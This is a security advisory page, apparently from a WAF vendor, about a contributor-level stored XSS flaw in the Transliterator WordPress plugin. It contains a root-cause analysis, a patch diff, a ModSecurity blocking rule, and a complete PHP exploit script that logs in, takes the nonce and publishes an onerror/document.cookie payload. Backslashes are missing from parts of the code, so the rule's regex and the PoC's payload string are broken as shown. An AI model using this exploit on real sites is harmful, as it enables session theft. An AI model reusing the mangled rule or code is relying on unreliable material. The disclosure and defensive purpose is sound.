Published : December 3, 2026

CVE-2026-141270: Transliterator <= 2.5.19 Authenticated (Contributor+) Stored Cross-Site Scripting via 'img_attributes' Shortcode Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.5.19
Patched Version 2.5.20
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-141270: This is an authenticated (Contributor+) stored Cross-Site Scripting vulnerability in the Transliterator plugin for WordPress, affecting versions up to and including 2.5.19. The flaw resides in the `img` shortcode handler within `serbian-transliteration/classes/shortcodes.php`, where the `img_attributes` shortcode attribute is passed through `wp_kses_post()` and then inserted directly into the generated `` tag. Atomic Edge research assigns this a CVSS score of 6.4 (Medium) given the requirement for contributor-level authentication, but the stored nature permits persistent script execution in administrative contexts.

Root Cause: The vulnerability stems from improper neutralization of user-supplied input in the `img` method of the shortcode class. Between lines 377 and 424 of the vulnerable version, the code accepts `img_attributes` from the shortcode attributes array and applies `wp_kses_post()` before injecting it into the HTML attribute context of the `` element. `wp_kses_post()` is designed for post content filtering and permits HTML tags and attributes that are valid in post bodies, but it does not enforce attribute-level escaping for an HTML attribute context. As a result, an attacker can supply attribute values containing event handlers (e.g., `onerror`, `onload`) or other script-bearing attributes that survive `wp_kses_post()` and execute when the image is rendered. The patch introduces a strict allowlist of attributes and explicit escaping per attribute, confirming the root cause is insufficient output escaping and input validation in the attribute insertion path.

Exploitation: An authenticated attacker with contributor or higher privileges creates or edits a post containing the `[img]` shortcode with a crafted `img_attributes` value. For example: `[img src=”x” img_attributes=’onerror=”alert(document.cookie)”‘]`. Because the shortcode attributes are processed on save, the payload is stored in the post content. When any user (including an administrator) views the post, the shortcode renders an `` tag with the `onerror` handler intact, executing the attacker’s JavaScript in the context of the victim’s session. The attack requires the ability to create or edit posts, which contributor-level users possess.

Patch Analysis: The patch (version 2.5.20) completely rewrites the `img` method. It first rejects non-string attribute values and validates the active script against `[‘cyr’, ‘lat’]`. More importantly, it replaces the direct `wp_kses_post($attr->img_attributes)` insertion with a structured parsing approach using `wp_kses_hair()` to extract attribute name/value pairs. Each parsed attribute is checked against an explicit allowlist (`id`, `class`, `title`, `width`, `height`, `loading`, `decoding`, `fetchpriority`, `crossorigin`, `referrerpolicy`, `role`, `tabindex`, `lang`, `dir`, `style`) and a regex for `data-*` and `aria-*` attributes. Restricted attributes receive additional value validation (e.g., numeric for width/height, enumerated values for loading/decoding). Inline styles are sanitized with `safecss_filter_attr()`. Finally, each attribute is escaped with `esc_attr()` and the entire image tag is built with `esc_url()` for the source and `esc_attr()` for the title. This layered approach eliminates the XSS vector by ensuring only safe attributes with validated values are emitted, and all output is contextually escaped.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who views the compromised page. This can lead to session hijacking, theft of authentication cookies, privilege escalation (e.g., creating administrative accounts via CSRF), content modification, and redirection to malicious sites. Because the payload is stored in post content, it persists until the post is edited or deleted, and it can affect high-privilege users such as administrators reviewing contributed content.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/serbian-transliteration/classes/shortcodes.php
+++ b/serbian-transliteration/classes/shortcodes.php
@@ -205,9 +205,21 @@
 			'lat'  => '',
 			'text' => '',
 		], $attr, 'rstr_link');
+
+		// Reject unexpected attribute value types.
+		foreach ($attr as $value) {
+			if (!is_string($value)) {
+				return '';
+			}
+		}

 		$script = Transliteration_Utilities::get_current_script();
-		$url    = trim((string) ($attr[$script] ?? ''));
+
+		if (!in_array($script, ['cyr', 'lat'], true)) {
+			return '';
+		}
+
+		$url = trim($attr[$script]);

 		// Accept HTML-escaped ampersands from editor content.
 		$url = html_entity_decode($url, ENT_QUOTES | ENT_HTML5, 'UTF-8');
@@ -377,48 +389,210 @@
 		);
 	}

-    /*
-     * Image shortcode
-     */
-    public function img($attr = [], $content = '', $shortcode_tag = ''): string
-    {
-        $attr = (object) shortcode_atts([
-            'cyr'             => '',
-            'cyr_title'       => '',
-            'cyr_caption'     => '',
-            'lat'             => '',
-            'lat_title'       => '',
-            'lat_caption'     => '',
-            'default'         => '',
-            'default_title'   => '',
-            'default_caption' => '',
-            'img_attributes'  => '',
-        ], $attr);
-
-        switch (Transliteration_Utilities::get_current_script()) {
-            case 'lat':
-                if ($attr->lat_caption) {
-                    return sprintf('<figure><img src="%1$s" alt="%2$s" %4$s/><figcaption>%3$s</figcaption></figure>', esc_attr($attr->lat), esc_attr($attr->lat_title), wp_kses_post($attr->lat_caption), wp_kses_post($attr->img_attributes));
-                }
-                return sprintf('<img src="%1$s" alt="%2$s" %3$s/>', esc_attr($attr->lat), esc_attr($attr->lat_title), wp_kses_post($attr->img_attributes));
-
-                break;
-
-            case 'cyr':
-                if ($attr->cyr_caption) {
-                    return sprintf('<figure><img src="%1$s" alt="%2$s" %4$s/><figcaption>%3$s</figcaption></figure>', esc_attr($attr->cyr), esc_attr($attr->cyr_title), wp_kses_post($attr->cyr_caption), wp_kses_post($attr->img_attributes));
-                }
-                return sprintf('<img src="%1$s" alt="%2$s" %3$s/>', esc_attr($attr->cyr), esc_attr($attr->cyr_title), wp_kses_post($attr->img_attributes));
-
-                break;
-
-            default:
-                if ($attr->default_caption) {
-                    return sprintf('<figure><img src="%1$s" alt="%2$s" %4$s/><figcaption>%3$s</figcaption></figure>', esc_attr($attr->default), esc_attr($attr->default_title), wp_kses_post($attr->default_caption), wp_kses_post($attr->img_attributes));
-                }
-                return sprintf('<img src="%1$s" alt="%2$s" %3$s/>', esc_attr($attr->default), esc_attr($attr->default_title), wp_kses_post($attr->img_attributes));
-
-                break;
-        }
-    }
+    /**
+	 * Render an image based on the visitor's active script.
+	 *
+	 * @param array  $attr          Shortcode attributes.
+	 * @param string $content       Shortcode content.
+	 * @param string $shortcode_tag Shortcode tag.
+	 * @return string Sanitized image or figure HTML.
+	 */
+	public function img($attr = [], $content = '', $shortcode_tag = ''): string
+	{
+		$attr = is_array($attr) ? $attr : [];
+
+		$attr = (object) shortcode_atts([
+			'cyr'             => '',
+			'cyr_title'       => '',
+			'cyr_caption'     => '',
+			'lat'             => '',
+			'lat_title'       => '',
+			'lat_caption'     => '',
+			'default'         => '',
+			'default_title'   => '',
+			'default_caption' => '',
+			'img_attributes'  => '',
+		], $attr);
+
+		// Reject unexpected attribute value types.
+		foreach ($attr as $value) {
+			if (!is_string($value)) {
+				return '';
+			}
+		}
+
+		// Select image properties based on the active script.
+		switch (Transliteration_Utilities::get_current_script()) {
+			case 'lat':
+				$src     = $attr->lat;
+				$title   = $attr->lat_title;
+				$caption = $attr->lat_caption;
+				break;
+
+			case 'cyr':
+				$src     = $attr->cyr;
+				$title   = $attr->cyr_title;
+				$caption = $attr->cyr_caption;
+				break;
+
+			default:
+				$src     = $attr->default;
+				$title   = $attr->default_title;
+				$caption = $attr->default_caption;
+				break;
+		}
+
+		// Explicitly allowed additional image attributes.
+		$allowed_attributes = [
+			'id',
+			'class',
+			'title',
+			'width',
+			'height',
+			'loading',
+			'decoding',
+			'fetchpriority',
+			'crossorigin',
+			'referrerpolicy',
+			'role',
+			'tabindex',
+			'lang',
+			'dir',
+			'style',
+		];
+
+		$html_attributes = [];
+
+		// Parse custom attributes instead of rendering raw HTML fragments.
+		if (is_string($attr->img_attributes) && $attr->img_attributes !== '') {
+			$parsed_attributes = wp_kses_hair(
+				$attr->img_attributes,
+				['http', 'https']
+			);
+
+			foreach ($parsed_attributes as $attribute) {
+				if (
+					!isset($attribute['name'], $attribute['value']) ||
+					!is_string($attribute['name']) ||
+					!is_scalar($attribute['value'])
+				) {
+					continue;
+				}
+
+				$name  = strtolower($attribute['name']);
+				$value = (string) $attribute['value'];
+
+				// Allow only explicitly supported attributes and valid
+				// custom data-* or aria-* attributes.
+				if (
+					!in_array($name, $allowed_attributes, true) &&
+					!preg_match('/^(?:data|aria)-[a-z0-9][a-z0-9_-]*$/D', $name)
+				) {
+					continue;
+				}
+
+				// Validate attributes with restricted values.
+				switch ($name) {
+					case 'width':
+					case 'height':
+						if (!preg_match('/^[0-9]+$/D', $value)) {
+							continue 2;
+						}
+						break;
+
+					case 'loading':
+						if (!in_array($value, ['lazy', 'eager'], true)) {
+							continue 2;
+						}
+						break;
+
+					case 'decoding':
+						if (!in_array($value, ['async', 'sync', 'auto'], true)) {
+							continue 2;
+						}
+						break;
+
+					case 'fetchpriority':
+						if (!in_array($value, ['high', 'low', 'auto'], true)) {
+							continue 2;
+						}
+						break;
+
+					case 'crossorigin':
+						if (!in_array($value, ['', 'anonymous', 'use-credentials'], true)) {
+							continue 2;
+						}
+						break;
+
+					case 'dir':
+						if (!in_array($value, ['ltr', 'rtl', 'auto'], true)) {
+							continue 2;
+						}
+						break;
+
+					case 'tabindex':
+						if (!preg_match('/^-?[0-9]+$/D', $value)) {
+							continue 2;
+						}
+						break;
+
+					case 'referrerpolicy':
+						if (!in_array($value, [
+							'no-referrer',
+							'no-referrer-when-downgrade',
+							'origin',
+							'origin-when-cross-origin',
+							'same-origin',
+							'strict-origin',
+							'strict-origin-when-cross-origin',
+							'unsafe-url',
+						], true)) {
+							continue 2;
+						}
+						break;
+
+					case 'style':
+						// Sanitize inline CSS using WordPress core.
+						$value = safecss_filter_attr($value);
+
+						if ($value === '') {
+							continue 2;
+						}
+						break;
+				}
+
+				$html_attributes[$name] = $value;
+			}
+		}
+
+		// Escape each additional attribute independently.
+		$attributes = '';
+
+		foreach ($html_attributes as $name => $value) {
+			$attributes .= sprintf(
+				' %s="%s"',
+				esc_attr($name),
+				esc_attr($value)
+			);
+		}
+
+		// Generate the image using context-appropriate escaping.
+		$image = sprintf(
+			'<img src="%1$s" alt="%2$s"%3$s/>',
+			esc_url($src, ['http', 'https']),
+			esc_attr($title),
+			$attributes
+		);
+
+		// Preserve the existing figure and caption functionality.
+		if ($caption) {
+			return sprintf(
+				'<figure>%1$s<figcaption>%2$s</figcaption></figure>',
+				$image,
+				wp_kses_post($caption)
+			);
+		}
+
+		return $image;
+	}
 }
--- a/serbian-transliteration/serbian-transliteration.php
+++ b/serbian-transliteration/serbian-transliteration.php
@@ -5,7 +5,7 @@
  * Plugin URI:        https://wordpress.org/plugins/serbian-transliteration/
  * Donate link:       https://ko-fi.com/ivijanstefanstipic
  * Description:       Universal WordPress transliteration for multilingual and non-Latin URLs, permalinks, media, search and full site content into SEO-friendly readable text.
- * Version:           2.5.19
+ * Version:           2.5.20
  * Requires at least: 6.0
  * Tested up to:      7.2
  * Requires PHP:      7.4

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-141270
# Blocks stored XSS via the 'img_attributes' shortcode attribute in the Transliterator plugin.
# The attack vector is a POST to wp-admin/post.php with the 'content' parameter containing
# a shortcode [img ... img_attributes='...'] with an event handler.

SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:2026141270,phase:2,deny,status:403,chain,msg:'CVE-2026-141270 via Transliterator img_attributes shortcode',severity:'CRITICAL',tag:'CVE-2026-141270'"
  SecRule ARGS_POST:content "@rx [imgb[^]]*img_attributess*=s*(?:x27|x22)[^x27x22]*bon[a-z]+s*=" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-141270 - Transliterator <= 2.5.19 - Authenticated (Contributor+) Stored XSS via 'img_attributes' Shortcode Attribute

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username   = 'contributor';       // Contributor-level username
$password   = 'password';          // Contributor password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = http_build_query([
    'log'         => $username,
    'pwd'         => $password,
    'wp-submit'   => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie'  => '1',
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Check login success (crude check)
if (strpos($login_response, 'wp-admin') === false) {
    die("Login failed.n");
}

// Step 2: Create a new post with the malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';

// First, fetch the new post page to obtain the nonce
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);

// Extract the _wpnonce for creating a post (simplified)
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die("Could not extract nonce.n");
}

// Malicious shortcode payload: inject an onerror handler
$payload = "[img src="x" img_attributes='onerror="alert(document.cookie)"']";

$post_data = http_build_query([
    'action'        => 'editpost',
    'post_ID'       => 'new',
    'post_title'    => 'Atomic Edge XSS PoC',
    'content'       => $payload,
    'post_status'   => 'publish', // Contributor posts may be pending; adjust as needed
    'post_type'     => 'post',
    '_wpnonce'      => $nonce,
]);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$create_response = curl_exec($ch);

// Step 3: Retrieve the post URL (simplified: assume post ID 1 or parse redirect)
// In practice, the post ID would be extracted from the response or database.
// For demonstration, we assume the post is published and accessible.
$post_id = 1; // Placeholder
$view_url = $target_url . '/?p=' . $post_id;

// Step 4: Simulate a victim visiting the page to trigger the XSS
// (In a real scenario, the victim would be an admin or any user viewing the post.)
curl_setopt($ch, CURLOPT_URL, $view_url);
curl_setopt($ch, CURLOPT_POST, false);
$victim_response = curl_exec($ch);

// Check if the payload is present in the response (indicating stored XSS)
if (strpos($victim_response, 'onerror="alert(document.cookie)"') !== false) {
    echo "Vulnerability confirmed: Stored XSS payload present in rendered page.n";
} else {
    echo "Payload not found. The site may be patched or the post not published.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.